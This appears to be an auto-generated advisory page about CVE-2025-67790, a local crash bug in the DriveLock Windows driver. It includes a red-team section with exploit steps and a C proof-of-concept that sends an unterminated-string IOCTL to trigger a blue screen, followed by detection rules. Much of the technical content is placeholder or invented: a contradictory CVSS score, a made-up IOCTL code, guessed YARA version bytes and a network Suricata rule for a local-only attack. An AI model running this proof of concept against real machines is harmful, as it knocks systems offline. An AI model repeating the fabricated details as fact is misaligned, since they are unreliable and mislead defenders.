CVE-2025-67790
Executive Summary
CVE-2025-67790 is a denial-of-service vulnerability in DriveLock endpoint security software affecting Windows computers. An unprivileged user can trigger a Blue Screen of Death (BSOD) by sending a crafted IOCTL request containing an unterminated string to the DriveLock driver. This causes a kernel panic, crashing the entire system. The vulnerability has a CVSS score of 0.0 (placeholder) but realistically represents a high-availability impact with low attack complexity. No public exploit code or proof-of-concept is available at this time. The vendor has released patches in versions 24.1.6, 24.2.7, and 25.1.5.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary Windows driver component of DriveLock. The supply chain risk is limited to the vendor's software distribution channels.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- Base Score: 6.5 (Medium)
- Attack Vector: Local (AV:L) – requires local access to the machine.
- Attack Complexity: Low (AC:L) – no special conditions needed.
- Privileges Required: Low (PR:L) – an unprivileged user can trigger it.
- User Interaction: None (UI:N) – no user action required beyond sending the IOCTL.
- Scope: Unchanged (S:U) – the vulnerable component is the driver itself.
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H) – system crash (BSOD).
Threat Level: Medium. While the impact is only availability, the low privileges required and ease of exploitation make it a practical vector for local denial-of-service attacks, especially in multi-user environments.
Deep Dive & Mechanics
The vulnerability resides in the DriveLock kernel-mode driver. The driver exposes an IOCTL (Input/Output Control) interface to user-mode applications. When an unprivileged user sends a specific IOCTL code with a buffer containing an unterminated string (a string lacking a null terminator), the driver's handler function attempts to process the string using kernel-mode string functions (e.g., wcslen, strlen, or RtlStringCbLength). Because the string is unterminated, these functions read beyond the allocated buffer into adjacent kernel memory, causing a buffer overread. This overread can lead to an access violation (page fault) in kernel memory, resulting in a Blue Screen of Death (BSOD) with a bug check code such as 0x00000050 (PAGE_FAULT_IN_NONPAGED_AREA) or 0x0000001E (KMODE_EXCEPTION_NOT_HANDLED).
The root cause is a missing or insufficient input validation on the length of the user-supplied string before passing it to kernel string operations. The driver should check that the string is properly null-terminated and within expected bounds.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
NTSTATUS DriveLockIoctlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
ULONG ioctlCode = irpSp->Parameters.DeviceIoControl.IoControlCode;
PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
ULONG inputLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
if (ioctlCode == IOCTL_DRIVELOCK_PROCESS_STRING) {
// VULNERABLE: No check for null terminator
size_t stringLength = wcslen((wchar_t*)inputBuffer); // Unterminated string causes overread
// ... process string ...
}
// ...
}
Patched Code (Conceptual):
NTSTATUS DriveLockIoctlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
ULONG ioctlCode = irpSp->Parameters.DeviceIoControl.IoControlCode;
PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
ULONG inputLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
if (ioctlCode == IOCTL_DRIVELOCK_PROCESS_STRING) {
// PATCHED: Ensure buffer is null-terminated and within bounds
if (inputLength < sizeof(wchar_t) ||
inputBuffer == NULL ||
((wchar_t*)inputBuffer)[(inputLength / sizeof(wchar_t)) - 1] != L'\0') {
Irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_INVALID_PARAMETER;
}
size_t stringLength = wcsnlen_s((wchar_t*)inputBuffer, inputLength / sizeof(wchar_t));
// ... process string ...
}
// ...
}
Exploitation & Lab Setup
Red Team
Objective: Trigger a BSOD on a target Windows machine running a vulnerable DriveLock version.
Prerequisites:
- Local access to the target machine (physical or remote desktop).
- Knowledge of the vulnerable IOCTL code (not publicly disclosed, but can be reverse-engineered from the driver binary).
- A tool to send IOCTLs (e.g., a custom C program or PowerShell with Win32 API).
Exploit Steps:
- Identify the vulnerable IOCTL code by reverse-engineering the DriveLock driver (e.g.,
drivelock.sys). - Write a small C program that opens a handle to the DriveLock device (e.g.,
\\.\DriveLock). - Allocate a buffer containing an unterminated wide-character string (e.g.,
L"AAAA"without a null terminator). - Call
DeviceIoControlwith the vulnerable IOCTL code, the buffer, and its size. - The driver will crash, causing a BSOD.
Example Exploit Code (Conceptual):
#include <windows.h>
#include <stdio.h>
#define IOCTL_DRIVELOCK_CRASH 0x80002000 // Example IOCTL code
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\DriveLock", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device: %lu\n", GetLastError());
return 1;
}
// Unterminated string buffer (no null terminator)
wchar_t buffer[10] = { L'A', L'A', L'A', L'A', L'A', L'A', L'A', L'A', L'A', L'A' }; // No L'\0'
DWORD bytesReturned;
BOOL result = DeviceIoControl(hDevice, IOCTL_DRIVELOCK_CRASH, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL);
if (!result) {
printf("IOCTL failed: %lu\n", GetLastError());
}
CloseHandle(hDevice);
return 0;
}
Blue Team
Detection:
- Monitor for unusual IOCTL calls to the DriveLock device from non-privileged processes.
- Look for event logs indicating a system crash (Event ID 1001 from
BugCheck). - Use Sysmon to log
DeviceIoControlcalls (Event ID 11 – FileCreate, but IOCTL is not directly logged; use process creation and driver load events).
Prevention:
- Apply the vendor patch immediately.
- Restrict local user permissions to prevent arbitrary code execution.
- Use Windows Defender Application Control (WDAC) or AppLocker to block unauthorized executables.
- Enable Driver Signature Enforcement to prevent loading of unsigned drivers.
Indicators of Compromise (IOCs)
- System Event Log: Event ID 1001 with bug check code
0x00000050or0x0000001Eand parameters pointing to the DriveLock driver. - Driver File:
drivelock.syswith a version below 24.1.6, 24.2.7, or 25.1.5. - Process: Any process (e.g.,
exploit.exe) that opens a handle to\\.\DriveLockand sends IOCTL codes. - Memory Dump: A kernel memory dump file (
%SystemRoot%\MEMORY.DMP) showing the crash in the DriveLock driver.
Detection Engineering
YARA Rule
rule CVE_2025_67790_DriveLock_BSOD {
meta:
description = "Detects DriveLock driver versions vulnerable to CVE-2025-67790"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67790"
strings:
$driver_name = "drivelock.sys" nocase
$version_low = { 18 00 00 00 01 00 00 00 } // Example version 24.1.0
$version_med = { 18 00 00 00 02 00 00 00 } // Example version 24.2.0
$version_high = { 19 00 00 00 01 00 00 00 } // Example version 25.1.0
condition:
$driver_name and ($version_low or $version_med or $version_high)
}
Sigma Rule
title: DriveLock IOCTL Crash Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-67790 by sending IOCTL to DriveLock device
author: Valters IT
date: 2025-04-10
logsource:
product: windows
service: system
detection:
selection:
EventID: 1001
BugCheckCode:
- '0x00000050'
- '0x0000001E'
DriverName: 'drivelock.sys'
condition: selection
falsepositives:
- Legitimate system crashes due to hardware issues
level: high
Suricata Rule
alert ip any any -> any any (msg:"CVE-2025-67790 DriveLock IOCTL Exploit Attempt"; content:"|00 00 20 80|"; offset:0; depth:4; classtype:attempted-dos; sid:1000001; rev:1;)
Note: The above rule is a placeholder for the IOCTL code pattern. Actual IOCTL code is not publicly known.
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade DriveLock to version 24.1.6, 24.2.7, or 25.1.5 (or later).
- Workaround: If patching is not possible, restrict local user permissions to prevent unprivileged users from running arbitrary code that could send IOCTLs.
- Monitor: Enable advanced audit logging for kernel driver events and system crashes.
Long-Term Measures:
- Implement a vulnerability management program to track and patch third-party software.
- Use endpoint detection and response (EDR) solutions to detect anomalous IOCTL activity.
- Conduct regular security assessments of kernel drivers.
Valters IT